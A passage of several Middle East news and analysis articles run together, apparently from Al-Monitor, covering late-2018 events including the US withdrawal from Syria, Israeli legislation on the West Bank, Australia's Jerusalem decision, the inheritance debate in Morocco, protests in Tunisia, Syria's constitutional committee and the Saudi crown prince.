Asia. It is America whose feet must be cut off from this region. We are from here. The Persian Gulf is our home. This is our home. You are the foreigners. You traveled here from a long distance. The managing director of Javan Newspaper, which is linked to the Islamic Revolutionary Guard Corps, tweeted, Congratulations, saying that first the Islamic State left Syria and now its masters. Farshad Mahdipour, founder of Sobhe No newspaper, tweeted that the withdrawal of US troops from Syria is a victory for resistance forces but one must be careful of secret agreements between the US and Turkey. A new US law designed to protect religious minorities and punish the Islamic State for its atrocities is getting a mixed reception from Iraqis, who are uncertain about how it will be applied on the ground. President Donald Trump signed the Iraq and Syria Genocide Relief and Accountability Act into law Dec. 11. The law instructs the federal government to prioritize assistance for religious and ethnic minorities that have been targeted for "genocide, crimes against humanity or war crimes." It also makes available financial and technical assistance to nongovernmental organizations and other entities in Iraq to help conduct criminal investigations, develop local investigative skills and collect evidence. Murad Ismael, the executive director of the Yazidi rights group Yazda, praised the Trump administrations support for religious minorities as an excellent principle. The Yazidi community is pleased by how hope has traveled from the shores of the US to a small persecuted minority such as the Yazidis, who suffered harshly at the hands of ISIS [the Islamic State], he told Al-Monitor. Ismael, who is based in Texas, stood by President Trump as he signed the bill earlier this month. He said Yazda remains committed to restoring normal life and hope for Yazidis and all minorities four years after the genocide. Likewise, Kamel Zumaya, the vice president of external relations at the pan-Christian Shlomo Organization for Documentation, hailed the passing of the law as the culmination of collective efforts by groups like the US-based Knights of Columbus, In Defense of Christians and the International Association of Genocide Scholars. He said Iraqis also played a key role. There have been efforts by high-profile Iraqi figures, Zumaya told Al-Monitor. People such as Bashar Warda, the archbishop of the Chaldean Church in Erbil, as well as political institutions representing Iraqs Christians and human rights defenders who played a significant role in highlighting the suffering of the victims of the genocide, both on a local and international level. Zumaya stressed that the federal government in Baghdad and the semi-autonomous Kurdistan Regional Government should both now enact legislation to bring justice to the victims and help displaced people return to their hometowns. Other groups, however, bristled at the new laws focus on Yazidis and Christians. The act specifically highlights declarations by former secretaries of state John Kerry and Rex Tillerson that the Islamic State committed genocide against Yazidis, Christians and Shiite Muslims, and calls for special attention to groups whom the Secretary of State has determined ISIS has committed genocide. US-based Mandaean activist Nazar al-Haidar, for example, told Al-Monitor that his gnostic community is not explicitly covered by the law. Ninety percent of the Mandaean minorities have fled Iraq because of the same dangers and threats that haunted the Christians and Yazidis, said Haidar, who serves as the deputy director of the Council of Iraqi Minorities. Christians, Yazidis and Mandaeans were all the same to [the Islamic State]. Those three minorities were simply firewood kindling the Sunni-Shiite conflict. Haidar added that the lack of international lobbies representing Mandaeans is not a reason to exclude them from the Iraqi cultural landscape. He expressed hope that US policymakers will take his community into account, considering that only 60,000 Mandaeans remain scattered across 20 countries worldwide, with 10% of them living in Iraq. Others have expressed concerns about the laws compatibility with UN policies addressing the challenges of Iraqs religious minorities in light of President Trumps unilateral policies. For example, the UN Security Council adopted a resolution September 2017 calling for the formation of an investigative team to support local efforts to hold the Islamic State to account by collecting and storing evidence of its crimes. It is imperative that this bill, as well as the projects related to and resulting from it, are not made a part of the international, regional, and local conflicts, said Ali al-Bayati, a member of the Iraqi High Commission for Human Rights. Otherwise, minorities will be, yet again, a victim of the international power struggle in the region, especially since the current US stance is to move away from the UN and take individual steps and decisions. This will not be in the best interests of countries and nations that are dealing with international and regional conflict, such as Iraq. The concern that minorities will once again become unwitting pawns in a multinational struggle for influence reflects the Iraqi government's inability to meet the needs of Iraqi minorities the very reason representatives of those groups sought US help in the first place. On Dec. 19, the Knesset passed a preliminary reading of a bill that would allow the expulsion of family members of Palestinian assailants from their homes to other locations in the West Bank. The process leading to this approval was not a trivial one; the bill moved forward despite objections from the attorney generals office and the Shin Bet. I asked a senior source in the security establishment whether any security figure at all had recommended to the prime minister that families of terrorists be moved from their villages to other villages in the West Bank as a form of punishment to deter future terrorism. Before I finished my question, he burst into uproarious laughter. Its an outlandish idea that no security official would recommend to the government and wouldnt even think of doing so, he answered, speaking on condition of anonymity. Not only because its nearly impossible to enforce such a decision and make sure families indeed move and settle in a new place, but that these families if they indeed move would become symbols of heroism in any Palestinian town they move to. They would be much honored and receive special financial support. Such punishment would do the opposite of deterrence, it would cause unnecessary friction between the IDF [Israel Defense Forces] and the Palestinian population. If these families dont leave their homes willingly and force is needed to remove them, it could cause an outbreak of violence. This is the last thing the IDF wants to see. But apparently this doesnt really matter to government ministers. The most right-wing government in the history of Israel sees today in IDF commanders what it once saw in the Supreme Court (until Justice Minister Ayelet Shaked succeeded in replacing a significant part of its judges with conservative religious judges) and what it continues to see in Attorney General Avichai Mandelblit, even though he grew up in the Likud, was appointed by Prime Minister Benjamin Netanyahu as his government secretary and was supported by the prime minister in his current appointment). The Cabinet ministers see the commanders as gatekeepers who obstruct the work of the government and the implementation of its policies, and thus the ministers have no problem ignoring their advice. The night of Dec. 16 was especially tense as the Cabinet convened to debate the bill that proposes moving families of terrorists from their villages, after which a special session of the ministerial committee for legislation was arranged in order to advance the bill should it pass the Cabinet. Mandelblit brought a company of senior officials with him to explain to the Cabinet ministers that the proposal would contravene Israeli as well as international law, and that if the Knesset passed the bill, the ministers and others in the ruling establishment would be vulnerable to prosecution in the International Criminal Court. But the ministers held to their positions: They decided to ignore the advice from security and legal officials and supported the bill, and at the end of the meeting, several of them arrived, bleary-eyed, at the ministerial committee for legislation, to vote for this grave and problematic proposed law. The bill then went to the Knesset, where, as aforementioned, it was approved in a preliminary reading Dec. 19. On the same day the ministerial committee acted on the legislation, it also approved a bill to "legalize" illegal outposts in the West Bank. The following provides some background on the matter: On May 25, 2003, the Sharon government signed onto the George W. Bush administrations plan for an Israeli-Palestinian diplomatic arrangement. In the first stage of the plan Israel committed to dismantling unauthorized outposts that were established in the West Bank since March 2001, when Prime Minister Ariel Sharon's government was formed. In order to know exactly what was happening on the ground, Sharon appointed Talia Sasson, formerly a government prosecutor, to prepare a report on these outposts, which was presented in 2005. The picture Sasson presented was a very grave depiction of a situation where the government deluded itself and allowed a clear violation of the law. More than 100 new settlements were established under false pretenses and without government decisions, but received government aid that ignored their legal status. The Sharon government committed to removing these outposts, but this never happened. Today the proposed law deals with the illegality of these settlements by granting legality post factum, instead of removing them. Until their legality is settled so the proposed law determines these settlements would receive full municipal services from the government, and would be protected from eviction. The deputy attorney general, Raz Nizri, quickly arrived at the meeting. He warned the ministers that this would be an illegal law that entirely disregards the question of whether the settlement was built on government or (Palestinian) private land and whether the acquisition of the land was done legally or not and that therefore the law should not be passed. Opposite him stood Justice Minister Shaked of HaBayit HaYehudi the party advancing the "Wild West" laws of recent years who said the legislation is necessary because of bureaucracy and legalization. Tourism Minister Yariv Levin of the Likud followed suit, saying, We must act with full force so that obstacles are removed. Nizri, who found himself utterly alone, murmured something about the violation of property rights (of Palestinians on whose private land some of these outposts were built), and noted that the passage of the law could lead to international ramifications, and to expose Israel to significant risks in this respect. But no one was willing to listen to him. Two days later, Agriculture Minister Uri Ariel, also of HaBayit HaYehudi, made, on his own accord, a decision to completely stop the export of fruits and vegetables from the West Bank to Israel. This decision has a direct impact on the Palestinian economy, because it means a loss for Palestinian farmers of about a million shekels ($265,000) a day, not to mention an immediate price increase for these products in Israel as a result of the shortage caused. Security elements quickly warned that this would add to the instability in the area and would hurt many Palestinian families, but the minister remained steadfast: He took the decision as a retaliatory action after the Palestinians stopped importing lamb from Israel. Following the resignation last month of Defense Minister Avigdor Liberman, Netanyahu has to do with a narrow coalition of 61 Knesset members. The coalition depends on the votes of eight members of HaBayit HaYehudi, which has a clear agenda of preventing the division of the land. The competition between them and the members of the Likud over the right-wing electoral base has defined the current Netanyahu government from the beginning, but since Liberman and his Yisrael Beitenu party left the coalition, the power of HaBayit HaYehudi head Naftali Bennett and his party has grown. Outlandish laws that were rejected in the recent past by the current government are now being returned to the table to receive the support of those who only recently opposed them. As long as this phenomenon continues even if the Supreme Court determines that some of these laws are illegal increasing damage will be done to Israel. Netanyahu himself understands the problem he finds himself in. He could still prove that hes an Israeli patriot and advance the election to the soonest possible date. The necessary decision to shorten the term of his government is in his hands. Faraway Australia is not a permanent member of the UN Security Council, nor of the prestigious club known as the Middle East Quartet (US, EU, UN and Russia). Generally, it cuts and pastes the policy of whichever US administration happens to be in power on the Israeli-Palestinian conflict. On Dec. 15, it declared its recognition of West Jerusalem as the capital of Israel, making international headlines. The decision to fly the Australian flag over a new office for trade and defense to be opened in Jerusalem but not to move its embassy from Tel Aviv to Jerusalem is no more than a footnote in the annals of the century-old conflict. However, the language of the decision and the varied reactions it generated faithfully reflect the grim state of what is known as the peace process. Let us start with the Dec. 15 declaration by Australian Prime Minister Scott Morrison at a speech in Sydney that his government recognizes West Jerusalem as the capital of Israel. We look forward to moving our embassy to West Jerusalem, when practical, in support of and after a final status determination, he added. But if there is recognition, why is there no relocation? Perhaps, as Morrison also said, it's due to the strong concern over Israels land appropriations, demolitions and settlement activity The settlements undermine peace and contribute to the stalemate we now see (in the peace process). And how does Australia express its support for a permanent Israeli-Palestinian arrangement leading, according to Morrisons expressed hope, to recognition of East Jerusalem as the capital of Palestine? On Dec. 5, 10 days before his speech, Australias delegation to the UN voted against a resolution unreservedly supporting the two-state solution that would have Israel and Palestine living side by side in peace and security based on the 1967 borderlines, adopting the 2002 Arab Peace Initiative, the Quartets Road Map and UN Security Council Resolution 2334 of 2016. The Dec. 5 resolution was approved overwhelmingly by 156 UN member states. Only four Australia, Liberia, the Marshall Islands and Nauru acceded to requests by Israel and the United States to vote nay. Australias vote against a resolution promoting the two-state solution, a move that somehow did not make the headlines it merited, concerned the Palestinians far more than its somewhat vague pledge to recognize East Jerusalem as the Palestinian capital. The head of the Palestinian negotiating team, Saeb Erekat, claims the future status of all of Jerusalem must be resolved in negotiations between the sides on a permanent agreement. Erekat neglects to mention that in all discussions on the permanent status of Jerusalem in which he took part, the Palestinian side explicitly recognized Israel within its 1967 borderlines and the citys western section as the countrys capital and as a basis for a permanent resolution of the conflict. The Palestinians also agreed that within the framework of land swap arrangements, they would recognize Israels sovereignty over the Jewish neighborhoods it established in the eastern part of the city since it captured the area in 1967. With the diplomatic process in a coma, Middle Eastern diplomacy has been thrown into turmoil. While Malaysian Prime Minister Mahatir Mohammed protests the Australian decision and declares, Jerusalem has always been under Palestine, Bahrains Foreign Minister Sheikh Khalid bin Ahmed al-Khalifa defends Australia and describes the Arab Leagues denouncement of Australian's recognition of Jerusalem as Israel's capital as mere rhetoric, irresponsible. Addressing the issue on Dec. 15, the Bahraini diplomat added that Australias step was consistent with the Arab Peace Initiative. Strictly speaking, al-Khalifa is right, but he, too, obviously knows that the right-wing Israeli government is about as interested in that initiative as party-goers in Sydney are in the Jewish Quarter in Hebron. As the director of the Jerusalem nongovernmental organization Ir Amim, Yehudit Oppenheimer, remarked Dec. 17, the Arabs were not the only ones Australia succeeded in riling. Prime Minister Benjamin Netanyahu, who never missies an opportunity to extoll the virtues of Jerusalem, referred reporters who called for his reaction to the Australian decision to the spokesperson of the Foreign Ministry. The ministry welcomed the Canberra governments decision to open a trade and defense office in Jerusalem. Regional Cooperation Minister Tzachi Hanegbi, however, said, There is no such thing as West Jerusalem and East Jerusalem and that the city is the eternal and undivided capital of Israel. Knesset Speaker Yuli Edelstein not only harshly reprimanded the Australians, he went so far as to claim their decision indirectly encourages Palestinian violence. Any first-year student of Middle East studies knows that the two-state solution means a two-capitals solution. Israels reaction underscores its intention to manage the conflict rather than to resolve it. As Ir Amim argued on Facebook, given this situation, the Australian recognition is a unilateral step that deepens the asymmetry in Jerusalem and rewards Israel under Netanyahu with a prize it doesnt deserve. Similar comments were included in a recent letter to Morrison from retired ambassador Ilan Baruch, head of The Policy Working Group of Israeli peace organizations. It is unclear whether the letter made it to Morrisons desk. Morrison obviously read with great interest the congratulatory statement by the Australia/Israel & Jewish Affairs Council saying the Australian government had recognized the reality that Israel has already established its capital in west Jerusalem. Morrison is entitled to be pleased that a group representing the mainstream Australian Jewish community wrote that his decision on Jerusalem demonstrates the Prime Ministers courage in standing up to bullies who have tried to intimidate him, but who do not have the interests of peace at heart." Last October, Australias former ambassador to Israel and liberal politician David Sharma promised to advance the issue of relocating his countrys embassy to Jerusalem. Morrison, for his part, stood behind his fellow party member. Evidently, this Jerusalem promise might have pleased the Jews living in the Sharma's region, but was not enough to get him into parliament. Unfortunately, this Australian episode will not be the last of the international community's cynical moves on Jerusalem. CASABLANCA, Morocco Though Morocco has made some progress on the women's rights front, the subject of equal inheritance apparently has very little support from the general public. Nonetheless, the topic recently was raised before Moroccos coalition government, headed by the Islamist Party of Justice and Development. The Party of Progress and Socialism issued a statement Dec. 10, Human Rights Day, calling for equality in inheritance. This follows several efforts outside the legislature to raise awareness of the issue. In March, public personalities signed a petition seeking equal inheritance for women. But the patriarchy is strong in Morocco. In March, author Asmaa Lamrabet was forced to resign from the Rabita Mohammedia des Oulemas (Mohammadia League of Scholars), under pressure from other members for opposing inheritance discrimination against women. The league, one of the most influential religious organizations in Morocco, is empowered to promote Sharia, its values, teachings, preaching and respect for the principles of moderation. She told Al-Monitor her effort to update religious texts "to keep pace with the global rapid modernization angered other association members." Lamrabet does not hide her disappointment. Her departure could have stirred a serious discussion of inheritance equality, but, she said, My resignation rather sparked a futile debate instead of a constructive social debate. When the issue of equality in inheritance was raised, many denounced the idea, describing it as an insult to Islam. This is how any attempt to open a public discussion on this issue has always been thwarted. In the political arena, advocates of inheritance equality are cautious. They fear their position could cost them a large part of their popular base. The majority of voters are highly sensitive to the issue. An opinion poll by UN Women published in February showed that only 33% of Moroccan women and 5% of Moroccan men support equal inheritance. Yet even in the past there have been some exceptions, though the efforts were not well-received. In December 2013, at the Congress of Socialist Women, Driss Lachgar, secretary-general of the Socialist Union of Popular Forces, voiced his support for inheritance equality. Lachgars position and statements were fiercely denounced by those affiliated with the fundamentalist Islamic movement. Mohamed El Hilali, deputy head of the Unification and Reform Movement, questioned Lachgars credibility. In turn, prominent Moroccan Salafist Sheikh Abdelhamid Abounaim called Lachgar a stinking pig. In a separate context, the former chairman of the National Human Rights Council (CNDH), Driss El Yazami, recommended equality in the distribution of inheritance among brothers and sisters in a CNDH report in October 2015. Then-Prime Minister Abdelilah Benkirane responded during an interview on Medi 1 TV. He accused Yazami of seeking to incite sedition, saying he owed Moroccans an apology. Tell us you want to reject the Quran, and at least you will be clear, he told Yazami. This state of acute opposition worries Lamrabet. The political interpretation of Islam makes it impossible to understand the meaning of justice and equality," she said. "The debate about inheritance should not be politicized. It must be carried out outside the framework of halal and haram. There is no contradiction between universal values and religious values in the issue of inheritance. The religious arguments for equal inheritance sharing are numerous. Lamrabet explained, Inheritance is a right and has a social dimension as admitted by the assembly of religious scholars. According to this logic, admitted by Muslim jurists, inheritance falls within the scope of what is variable rather than rigid dogma and worship. Thus inheritance could be modified according to societal changes. Part of Moroccos civil society is seeking to sensitize public opinion and bring the concept into the mainstream. Hakima Lebbar, a psychologist and activist, has been organizing since March 2017 an awareness campaign tour across Morocco on the issue of equal inheritance. The campaign includes an exhibition of paintings and photos, and an open debate. In the cities, we often attract intellectuals or well-informed figures, but in the countryside, we encounter all social groups. In both cases, interesting discussions take place, Lebbar told Al-Monitor. These discussions are regularly moderated by Amazigh intellectual Ahmed Assid, lawyer Farida Bennani or Islamic scholar Mohamed Abdelwahab Rafiki, also called Abu Hafs. Lebbar said, In the coming weeks, we will begin to write plays that will be performed on stage by Assid and Bennani, with the support of a national theater group. We also intend to build cooperative relations with activists in North African countries to join hands for equality. In the recent past, Morocco has seen major reform that included the personal status code, also known as the Family Code. Five years after King Mohammed VI took office in July 1999, he introduced reforms and, as of 2004, the personal status code granted women more rights. Answering the question of why this same approach has not been applied to ensure inheritance equality by law, Lebbar said, This is a highly sensitive issue that radically disturbs the patriarchal society omnipresent in Moroccan culture. Lamrabet concurred with Labar, saying, "Equality in inheritance affects a mans economic power in Moroccan society. The patriarchal community is not yet ready to relinquish such power. A group of young Tunisian civil society activists announced Dec. 8 that they are planning to take to the streets in protest against what they call the government's failure to manage the economic and social crises. They launched a campaign on Facebook titled Gilet Rouge (French for "Red Vest") and said they are working on opening coordination offices across Tunisia. Riad Jarad, the general coordinator of the campaign, told Al-Monitor that the Red Vest campaign is an independent youth movement that is open to all Tunisians regardless of their political or intellectual affiliations. He said that the color red has been adopted instead of yellow, which is used in France, because the economic situation in Tunisia has hit dangerous levels. He noted that 51 coordination offices would be opened across Tunisia this week in a bid to organize protests and avert any chaotic scenarios. An online Yellow Vest campaign was launched by French protesters in May to protest the increase in fuel taxes. After the campaign in December turned into bloody confrontations between French security forces and protesters in Paris, President Emmanuel Macron announced in a speech Dec. 10 that he would back down on the tax increase starting in 2019. Jarad pointed out that the Tunisian campaign aims at holding to account both the government of Youssef Chahed and the Ennahda movement, which is one of the most prominent parties participating in the government. The protests, he added, are against the economic situation in the country and the high unemployment rate, which reached 15.5% in 2018. The latest results of the National Survey on Population and Employment published by the National Institute of Statistics shows an increase in the number of unemployed during the third quarter of 2018 642,800 compared to 638,000 in the second quarter of 2018. Meanwhile, the Tunisian General Labor Union (UGTT), the largest trade union in the country, announced Dec. 12 a general strike in the public sector on Jan. 17, 2019, to protest the failure of negotiations with the government for wage increases. UGTT Assistant Secretary-General Bu Ali Mubaraki told Al-Monitor that the UGTT supports any peaceful protests calling for better living conditions. He also stressed that the union would continue to insist on the need for a general strike, as long as the government is not responding to wage increase demands. Mohsen Marzouq, the secretary-general of the Machrou Tounes party, which supports Chahed, warned during a meeting organized by the party Dec. 9 against serious plans seeking to plunge the country into chaos and violence. Meanwhile, the Popular Front opposition party called in a statement Dec. 11 on its supporters to take to the streets and protest the governments performance. Ammar Omrousiya, member of parliament for the Popular Front, told Al-Monitor, The front has started mobilizing protesters against the 2019 budget law, which the parliament approved Dec. 10. Demonstrators will also protest the systematic impoverishment policies that the Tunisian people are going through for the sake of lobbyists and businessmen. The budget law has sparked controversy in Tunisia as some of its chapters were deemed biased to businessmen and lobbyists close to Chahed. Under the law, owners of big businesses will be allowed to pay the 35% tax on profit in 2020, instead of 2019. Minister of Trade Omar al-Bahi said in statements Dec. 12 that the decision aims at protecting the purchasing power of citizens, since such a tax could lead to higher prices. Omrousiya said the front supports any peaceful youth protests staged within the framework of a large and organized civil movement that includes the largest possible number of Tunisians. Economic expert Sadok Jabnoun warned against the tension prevailing in the country as a result of the deteriorating purchasing power and the declining economic indicators. The trade deficit reached 17.3 billion dinars ($5.9 billion) in November, amid the ongoing devaluation of the local currency against foreign currencies. On Dec. 11, the US dollar stood at 2.96 Tunisian dinar, compared to 2.48 year over year. Jabnoun noted that the ongoing devaluation of the Tunisian dinar fell short of having any positive impact on Tunisian exports due to the lack of developed local industries in Tunisia. The country, he said, relies on agricultural and textile returns but the textile industry is facing Turkish and East Asian competition. A Dec. 10 statement by the Board of Directors of the Central Bank of Tunisia voiced concerns over the continued expansion of the trade deficit, which exceeded 16 billion Tunisian dinars ($5.4 billion) during the first 10 months of 2018. In the same context, the statement expressed concerns over the banks growing need for liquidity. As youth movements, organizations and opposition parties mobilize protesters against the cost of living and the policies adopted by the government, pro-government parties warn against an explosion that would plunge the country into chaos, in the context of a power struggle between Tunisian President Beji Caid Essebsi and his rival Chahed. On Dec. 18, in Geneva, the foreign ministers of Russia, Turkey and Iran presented their list of proposed members of the Syrian Constitutional Committee to UN special envoy Staffan de Mistura. The Astana trio had worked on the list for about a year but had not officially presented it. Yet neither the special envoy nor the UN secretary-general were able to confirm whether they were ready to approve the Astana trio's list. The decision to form a Syrian Constitutional Committee was made in late January, during the Syrian National Dialogue Congress in Sochi. The same congress also decided that the Constitutional Committee would operate on a proportional system. This means that the government, the opposition and civil society will each have 50 delegates. The initial lists of members were prepared by late July and were approved by the Astana nations. Yet de Mistura's list became a problem, as Damascus and Tehran found his suggested candidates unacceptable. The Astana trio thus decided to propose its own list to the UN secretary-general. On Dec. 18, Foreign Ministers Sergey Lavrov, Mevlut Cavusoglu and Mohammad Javad Zarif arrived in Geneva in a rather good mood. All signs indicated that the efforts to form the committee were coming to a successful end. At the beginning of the summit, Zarif announced that the controversial list of civil society delegates had finally been approved by the president of Russias special envoy Alexander Lavrentiev, Turkish Deputy Foreign Minister Sedat Onal and the Iranian foreign ministers assistant Hossein Jaberi Ansari. The only remaining step was to hand the list to the UN. However, the talks stretched on for six hours, including the lunch break. It's now clear that, several hours into the meeting, the process had gone awry. Instead of a press conference, only a final statement was to be issued, and the contents of that statement were debated until the last minute. Meanwhile, the pool of UN reporters expressed surprise that, for the first time, de Mistura's office had not warned them that the Astana trio was to meet in Geneva. Up until the last moment, the officials had mentioned nothing more than a high-level meeting. Rumors circulated in Geneva that Western nations had pressured the UN to keep the summit confidential. Later, sources close to the meeting's organizers confirmed this, emphasizing that the United States and its allies wanted to belittle the results of the Astana trios work. The foreign ministers visited Geneva at de Misturas request. In a way, it was a farewell gift to the envoy before he departs his post. The gift, however, turned out to be a Trojan horse. According to Al-Monitors sources in one of the Astana delegations, the Astana trio's list of proposed civil society delegates is mostly composed of supporters of the Syrian government. Although the list formally meets the requirements of proportional representation, around two-thirds of the committee are likely to fall under Damascus control. Moreover, James Jeffrey, the US State Departments special envoy for Syria, said before the summit that "Syrian opposition leaders are not yet satisfied" with the Astana trio's list. He said that the international community, including the United States and its partners, will decide whether the committee's composition is acceptable. A source in one of the Astana trio delegations told Al-Monitor there were concerns that Western countries would force the UN to reject the Astana trio's proposed list. It is only logical that de Mistura looked embarrassed in statements to the press after the talks. He pointed out that the resolution process in Syria is far from over. There is still an extra mile to go, but we do certainly appreciate the intensive work that has been done, he said. There is still a chance that the international community accepts the Astana list as is, though Moscow has no illusions about the Wests position. Several days before the meeting, Turkish Foreign Minister Cavusoglu pointed out that all controversies should be resolved by compromise. He did not explain what controversies in particular. However, as a source familiar with the talks in Geneva told Al-Monitor, the main issue is not who will form the majority on the committee. The core question is whether the committee's work will be based on consensus or the will of a simple majority. Currently, the latter seems most likely. Another significant question is who will lead the committee and who will be a part of the team that will draft Syrias new constitution. These problems are just a starting point for the diplomatic battle. It has already taken a year just to devise lists of the committee's members. Its hard to predict how long it will take to draft a new constitution. However, one should remember that in the spring of 2020, parliamentary elections are due to be held in Syria. A year later, a presidential election is scheduled. The sides have to reach a consensus by this time. The trio appreciates the dialogue in itself. But, as the Iranian foreign minister tweeted, the West needs to "facilitate; not dictate." If the West does not enforce its decisions, the trio is likely to meet the UNs requests and find substitutes for certain candidates from the approved list as a gesture of goodwill, though the Astana trio had to go to great lengths to reach compromises with the Syrian government. In any case, all details will be discussed with the UNs new special envoy for Syria, Geir Pedersen, who assumes office Jan. 7. New debates could likely hamper the committees launch. Though, after the summit, Cavusoglu expressed confidence that the committee's first session will be held as early as January 2019. However, the trio has always highlighted that they would rather not mention precise dates. Yet anything goes so long as the decisions made suit everyone. The West has usually urged the trio to set a date for the committee's launch as early as possible. However, the Russian leaders, now believing that no one can be frank, blame the Astana nations for failing in the creation of the Constitutional Committee. Russia, Turkey and Iran completed their part of the job. Now, the UN is in charge. President Donald Trumps decision to pull out from Syria could be a serious game-changer and significantly impact the UN position on the committee. The initiative to establish the Syrian Constitutional Committee has better odds after the US decision to withdraw from Syria, Russian Foreign Ministry spokeswoman Maria Zakharova said shortly after Trump's announcement. Saudi Arabian Crown Prince Mohammed bin Salman has had a tumultuous 2018. He has gone from being hailed a revolutionary who would bring a Saudi Arab Spring to being censured unanimously by the US Senate for the premeditated murder of Jamal Khashoggi. The 33-year-old crown prince is now increasingly regarded as a dangerous and reckless despot implicated in war crimes and mass starvation. The Congress and media are likely to be more hostile in 2019. It has been a stunning fall from grace. The crown prince began the year with highly touted visits to the United Kingdom and the United States. Empowered by an expensive lobbying campaign and public relations machine, the visits attracted enormous attention. In England he was received by Queen Elizabeth II and the prime minister. The UK provides about one-third of the Royal Saudi Air Forces inventory of aircraft and there was talk of a big new arms deal. The tour of the United States was almost three weeks long in March and April. At the White House the president welcomed the prince with big photos of Americas latest arms deals and urged him to buy more American weapons. His trip took him to Cambridge, Wall Street, Seattle, Hollywood, Silicon Valley and Houston. Oprah Winfrey, Michael Bloomberg, Bill Clinton and a host of other celebrities had their picture taken with the prince. In Texas he met with the two Bush presidents. Extravagant deals were promised to invest in Saudi Vision 2030, the princes plan to reduce Saudi dependence on oil and reform the economy and society. Only a handful of critics urged caution in embracing the impulsive prince. The crown princes appeal was in part his much-needed program of socio-economic change highlighted by giving women driver's licenses. But a big piece was the promise that he was going to be softer on Israel than the traditional Saudi posture. In particular the Saudi prince was said to favor Jared Kushners much-discussed "deal of the century" to resolve the Israeli-Palestinian conflict. The evidence for this was always slim. In any case, King Salman bin Abdul-Aziz Al Saud quickly made clear that he was not on board for any alterations of the Saudi positions regarding Palestinian rights, the two-state solution and especially the status of East Jerusalem. In virtually every public appearance in 2018, the king has been clear that the Saudi priority is Palestinian statehood with its capital in Jerusalem. The recent Saudi announcement of a consortium of Red Sea states to promote security in the vital shipping lanes notably did not include Israel. The covert contacts between Israel and Saudi Arabia have, not surprisingly, cooled since Khashoggis assassination, according to the media. Yemen got little attention during the crown princes parade from coast to coast, but behind the scenes opposition to the Saudi coalitions war was building in the Senate. Led by Sen. Chris Murphy, D-Conn., the opposition sought an end to Americas support for the Saudi war effort. The United Nations says 16 million Yemenis are now at risk of malnutrition. It is the worst humanitarian catastrophe in the world. Its also Mohammed's signature policy initiative. If the war is not headed for a comprehensive cease-fire by early January, the Hill is likely to take further action to sanction the crown prince and end American involvement in his war. The president will try to defend his favorite Saudi, but Trump's own mounting legal difficulties will make him a weak defender. The crown princes reputation is toxic. There is no simple way to restore it. More likely is further malfeasance as he gropes with his troubles. Canada, another victim of his temper tantrums in 2018, is considering canceling a $15 billion weapons sale to the Saudi Arabian National Guard. If Ottawa does so, it will be the largest arms deal ever canceled with the kingdom. The resolutions on the Hill and the debate in Ottawa are primarily about symbols. But the symbolism is powerful. The crown princes survival is solely in the hands of his father. The king has dismissed two crown princes in his four-year reign but seems determined to stand by his son. So the kingdom may be burdened with a pariah for years to come. This will be the year it all went bad for the crown prince and the kingdom. The consequences will be long-standing. The American security blanket has been the kingdoms crucial alliance for 75 years. It has saved it from Nasserism, the Soviets, Saddam Hussein and the mullahs. The Saudis need Washington much more than Washington needs Saudi Arabia and its oil. The funeral of former President George H.W. Bush offered another poignant symbol. The ranking Arab leader in attendance was King Abdullah II of Jordan. His father, King Hussein, was vilified by the Saudis in 1990 and 1991 for his stance on Iraqs invasion of Kuwait. But it was Abdullah at 41s funeral, not the crown prince. As President Donald Trumps bombshell decision to withdraw all US forces from Syria begins to sink in, for Ankara, the adage be careful what you wish for, you might get it may well be flitting through official minds. Amid all the self-congratulatory chest-thumping, the haste with which Trump appears to be dumping the United States Syrian Kurdish allies is not necessarily what Turkeys president, Recep Tayyip Erdogan, had banked on. Turkey's threats to attack the Syrian Kurdish Peoples Protection Units (YPG) east of the Euphrates River, where US forces are based, were calculated to get the Pentagon to scotch its alliance with the Kurds, not for US forces to leave en masse and certainly not so quickly. Rather, Turkey wanted the US-led coalition to preside over the insertion of its own Arab proxies, particularly in Arab-majority towns such as Raqqa, Tell Abyad and Manbij, at the expense of the YPG and its Arab partners. With US military personnel reportedly slated to leave within three months (the evacuation of US civilians has already begun), it remains unclear what sort of security arrangements the Americans will leave in place. What will become of the Kurdish and Arab Syrian Democratic Forces, the 60,000-strong YPG-led force that led the coalitions ground war against the Islamic State? And most critically for Ankara, what will departing US special forces do about the weapons given to the YPG? Erdogan will undoubtedly spin the US withdrawal as a personal victory as he campaigns for nationwide municipal elections that are due to be held in March. This was Trumps New Years gift to Erdogan, Zubeyir Aydar, a member of the executive board of the Brussels-based Kurdistan National Congress, told Al-Monitor. We never asked America to choose between Turkey and the Kurds but to bring them together at the negotiating table. America has betrayed the Kurds once again. Once the Americans are gone, however, Turkey will be left to reckon with Russia, Iran, the regime and the Kurds alone. Ankaras talk of a US-backed Zionist plot to birth a Kurdish entity in Syria that would gobble up chunks of Turkey will become harder to peddle. The YPG is accusing the Americans of abandoning it to the jaws of its Turkish predators. As soon as the US forces leave, the Turks will come after them with their Sunni Arab proxies, hinted Turkeys defense minister, Hulusi Akar, in no uncertain terms today. Akar vowed that when the time comes, Turkey would bury the terrorists in the trenches they dug regardless of how deep they descend into the bowels of the earth. But will that time actually come? Its clearly not in Turkeys interest to move against the Kurds when Ankara is hoping to extract as much as possible out of the Americans while they are still around. Morever, doing so now would be to brook global censure that its helping IS because the YPG would abandon the ongoing fight against the jihadis to defend their own lands against Turkey. What Ankara does when the US forces finally leave will largely depend on the Russians, the only big power with boots on the ground. Russia allowed Turkey to move against the YPG in Afrin in January 2018, culminating in the fall of the Kurdish-dominated enclave in March. But that was when it wanted to drive a wedge between the Kurds, the Turks and the Americans and to secure Turkeys cooperation against al-Qaeda linked Hayat Tahrir al-Sham (HTS) militants entrenched in Idlib. Some argue that Russian backing of Turkey was also designed to curb Iran. But Trumps decision to leave has reshuffled the deck. Turkey is no longer as useful a lever against the Americans. Moscows undeclared deadline for Ankara to deliver on its Astana commitment to defang HTS may have just grown tighter. Pressure for Turkey to relinquish its Syrian equities will grow. Ilham Ahmed, the co-chair of the YPG-friendly Syrian Democratic Council and one of Washington's top interlocutors there, is among a handful of Kurds who recognizes that Trumps decision is probably irreversible. The Kurds would be better off rekindling old alliances than trying to change the presidents mind. And as they weigh renewed negotiations with the regime of President Bashar al-Assad, Arrows point to Moscow, she said. Until recently, Russia appeared to block putative stabs at cooperation between Damascus and the Kurds because it wanted to keep Turkey happy, and on Washingtons back. But the new dynamics will likely alter its calculations and the YPG has some chips to trade. The YPG could, for example, swap oil fields in Deir ez-Zor, infrastructure such as Iraqi border crossings, the Tabqa Dam and Arab majority cities such as Raqqa for a Russia veto on a Turkish invasion. Similarly, it could hand over control of border crossings to regime forces, withdraw artillery and heavy weapons from the 